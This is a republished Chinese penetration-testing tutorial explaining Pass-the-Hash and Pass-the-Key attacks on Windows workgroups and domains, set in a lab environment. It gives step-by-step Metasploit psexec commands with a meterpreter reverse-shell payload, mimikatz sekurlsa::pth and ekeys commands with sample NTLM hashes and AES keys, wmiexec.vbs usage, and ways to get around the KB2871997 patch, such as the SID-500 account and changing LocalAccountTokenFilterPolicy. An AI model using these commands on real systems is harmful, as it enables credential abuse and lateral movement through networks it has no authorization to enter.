内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)
发布时间 - 2025-07-16 00:00:00 点击率:次作者:谢公子
CSDN安全博客专家,擅长渗透测试、Web安全攻防、红蓝对抗。
免责声明:本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
哈希传递攻击详解
哈希传递攻击是一种基于NTLM认证的攻击方法。该攻击的前提是我们获取了某个用户的密码哈希值,但无法破解为明文密码。这时,我们可以利用NTLM认证的漏洞,使用用户的密码哈希值进行认证。在域环境中,由于许多计算机在安装时使用相同的本地管理员账号和密码,攻击者可以利用哈希传递攻击登录到内网中的其他机器。
哈希传递攻击的适用场景:
在工作组环境中:
对于Windows Vista之前的机器,可以利用本地管理员组内的任何用户进行攻击。对于Windows Vista及之后的机器,仅限于administrator用户的哈希值可以用于哈希传递攻击,其他用户(包括管理员用户但非administrator)无法使用此方法,尝试时会提示拒绝访问。在域环境中:
仅限于域管理员组内用户(包括非administrator的域管理员用户)的哈希值可以用于哈希传递攻击,攻击成功后可以访问域内任何一台机器。使用Metasploit Framework(MSF)进行哈希传递攻击(工作组)
有时,当我们获取到某台主机的administrator用户的密码哈希值,并且该主机的445端口开放时,我们可以利用exploit/windows/smb/psexec模块通过MSF进行远程登录(哈希传递攻击)。目标主机可以是一个单一的主机,也可以是一个网段。
以下是针对Windows Vista之后的机器的攻击示例,仅限于administrator用户:
工作组环境,必须是administrator用户
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set lhost 192.168.10.27 msf exploit(psexec) > set rhost 192.168.10.14 msf exploit(psexec) > set smbuser Administrator msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6 #这里我们已经获取到了LM和NTLM哈希值 msf exploit(psexec) > exploit
使用Metasploit Framework(MSF)进行哈希传递攻击(域)
当我们获取到域管理员组内用户的密码哈希值,并且该主机的445端口开放时,我们可以利用exploit/windows/smb/psexec模块通过MSF进行哈希传递攻击。
域环境,域管理员组内用户即可
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set lhost 192.168.10.11 msf exploit(psexec) > set rhost 192.168.10.131 msf exploit(psexec) > set smbuser test #test用户在域管理员组内,注意这里不需要写域前缀 msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1 msf exploit(psexec) > exploit
使用mimikatz进行哈希传递攻击(工作组)
对于Windows Vista之前的机器,可以利用本地管理员组内的任何用户进行攻击。对于Windows Vista及之后
的机器,仅限于administrator用户的哈希值可以用于哈希传递攻击,其他用户(包括管理员用户但非administrator)无法使用此方法,尝试时会提示拒绝访问。
privilege::debug #首先提升权限 #使用administrator用户的NTLM哈希值进行攻击 sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm:密码哈希
Windows Server 2003
本地管理员:
administratorxie
Windows Server 2008
本地管理员:
administratorxie
使用mimikatz进行哈希传递攻击(域)
在域环境中,当我们获取到域管理员组内用户的NTLM哈希值时,我们可以利用域内的一台主机通过mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行命令后会弹出一个CMD窗口,在该窗口中我们可以访问域内任何一台机器。需要注意的是,我们必须拥有域内任意一台主机的本地管理员权限和域管理员的NTLM哈希值。
域:xie.com 域控:WIN2008.xie.com 普通域主机:WIN2003 域管理员:test 域普通用户:hack
privilege::debug #首先提升权限 #使用域管理员test的NTLM哈希值对域控进行哈希传递攻击,域用户test在域管理员组中 sekurlsa::pth /user:test /domain:xie.com /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc
在弹出的cmd窗口中,使用wmiexec.vbs进行验证
cscript wmiexec.vbs /shell Win2008
只有域管理员的NTLM哈希值可以进行哈希传递攻击,域普通用户的NTLM哈希值无法进行哈希传递攻击。
使用AES进行Key传递攻击(PTK,Pass The Key)
前提:仅适用于域环境,并且目标主机需要安装KB2871997补丁。
获取AES凭证
privilege::debug sekurlsa::ekeys #获取kerberos加密凭证
利用获得到的AES256或AES128进行Key攻击
privilege::debug #使用AES-256进行Key传递攻击 sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083 #使用AES-128进行Key传递攻击 sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e
在域控未安装KB2871997补丁的情况下,无法使用Key传递攻击。
然而,即使在域控上安装了KB2871997补丁后,Key传递攻击仍然无法使用。这里尚不清楚原因。
KB2871997补丁的影响
微软在2014年5月发布了KB2871997和KB2928120两个补丁。KB2871997针对PTH攻击,而KB2928120针对GPP(Group Policy Preference)。KB2871997补丁使得本地账户不再能用于远程访问系统,无论是Network logon还是Interactive login。其结果是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbexec、IPC等,也无法访问远程主机的文件共享等。
在实际测试中,更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但administrator(SID=500)账号例外,使用该账号的散列值依然可以进行哈希传递攻击。这里需要强调的是SID=500的账号。即使将administrator账号重命名,也不会影响SID的值。因此,如果攻击者使用SID为500的账号进行哈希传递攻击,就不会受到KB2871997的影响。
实验
Windows Server 2008R2:192.168.10.20 域管理员:administrator、xie
未安装KB2871997补丁前,使用administrator账号可以成功进行哈希传递攻击,使用管理员账号xie无法进行哈希传递攻击。
安装KB2871997补丁后,使用administrator账号依然可以成功进行哈希传递攻击,使用管理员账号xie无法进行哈希传递攻击。
将administrator账号重命名为admin后,由于不存在administrator账号了,所以无法使用administrator账号进行哈希传递攻击,但可以使用admin账号进行哈希传递攻击,因为admin账号的SID值为500。
修改目标机器的LocalAccountTokenFilterPolicy为1后,使用普通域管理员账号xie也可进行哈希传递攻击。
总结:实际上,KB2871997补丁的效果有限。由于在Windows Vista时代,微软就通过将LocalAccountTokenFilterPolicy值默认设置为0来禁止非administrator账号的远程连接(包括哈希传递攻击),但administrator用户不受影响。即使目标主机更新了KB2871997补丁,仍然可以使用SID=500的用户进行哈希传递攻击,而SID=500的用户默认为administrator,所以仍然可以使用administrator用户进行哈希传递攻击。此外,在安装了KB2871997补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也可以使用普通管理员账号进行哈希传递攻击。
# 网络安全
# windows
# ai
# web安全
# 渗透测试
# 可以利用
# 可以使用
# 一台
# 的是
# 当我们
# 是一个
# 微软
# 设置为
# 普通用户
# 一台主机
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
C++用Dijkstra(迪杰斯特拉)算法求最短路径
Laravel Seeder怎么填充数据_Laravel数据库填充器的使用方法与技巧
5种Android数据存储方式汇总
如何用PHP快速搭建CMS系统?
Laravel如何实现URL美化Slug功能_Laravel使用eloquent-sluggable生成别名【方法】
使用C语言编写圣诞表白程序
微信推文制作网站有哪些,怎么做微信推文,急?
文字头像制作网站推荐软件,醒图能自动配文字吗?
Laravel Facade的原理是什么_深入理解Laravel门面及其工作机制
矢量图网站制作软件,用千图网的一张矢量图做公司app首页,该网站并未说明版权等问题,这样做算不算侵权?应该如何解决?
合肥制作网站的公司有哪些,合肥聚美网络科技有限公司介绍?
轻松掌握MySQL函数中的last_insert_id()
如何在云虚拟主机上快速搭建个人网站?
Laravel路由怎么定义_Laravel核心路由系统完全入门指南
html5如何设置样式_HTML5样式设置方法与CSS应用技巧【教程】
百度输入法ai组件怎么删除 百度输入法ai组件移除工具
Laravel如何使用Eloquent进行子查询
魔方云NAT建站如何实现端口转发?
Laravel如何使用Gate和Policy进行权限控制_Laravel权限判定与策略规则配置
javascript日期怎么处理_如何格式化输出
车管所网站制作流程,交警当场开简易程序处罚决定书,在交警网站查询不到怎么办?
JavaScript中的标签模板是什么_它如何扩展字符串功能
济南网站建设制作公司,室内设计网站一般都有哪些功能?
详解Huffman编码算法之Java实现
高配服务器限时抢购:企业级配置与回收服务一站式优惠方案
软银砸40亿美元收购DigitalBridge 强化AI资料中心布局
如何在沈阳梯子盘古建站优化SEO排名与功能模块?
移动端手机网站制作软件,掌上时代,移动端网站的谷歌SEO该如何做?
Linux系统命令中screen命令详解
中山网站推广排名,中山信息港登录入口?
Laravel如何处理跨站请求伪造(CSRF)保护_Laravel表单安全机制与令牌校验
Android自定义listview布局实现上拉加载下拉刷新功能
Laravel请求验证怎么写_Laravel Validator自定义表单验证规则教程
IOS倒计时设置UIButton标题title的抖动问题
Laravel如何安装使用Debugbar工具栏_Laravel性能调试与SQL监控插件【步骤】
如何在IIS中配置站点IP、端口及主机头?
详解Android图表 MPAndroidChart折线图
装修招标网站设计制作流程,装修招标流程?
Win11应用商店下载慢怎么办 Win11更改DNS提速下载【修复】
如何快速登录WAP自助建站平台?
如何在阿里云域名上完成建站全流程?
Laravel怎么使用Intervention Image库处理图片上传和缩放
怎么用AI帮你设计一套个性化的手机App图标?
韩国代理服务器如何选?解析IP设置技巧与跨境访问优化指南
如何用狗爹虚拟主机快速搭建网站?
Laravel如何创建和注册中间件_Laravel中间件编写与应用流程
免费网站制作appp,免费制作app哪个平台好?
Laravel如何部署到服务器_线上部署Laravel项目的完整流程与步骤
Laravel如何使用Spatie Media Library_Laravel图片上传管理与缩略图生成【步骤】
Python数据仓库与ETL构建实战_Airflow调度流程详解

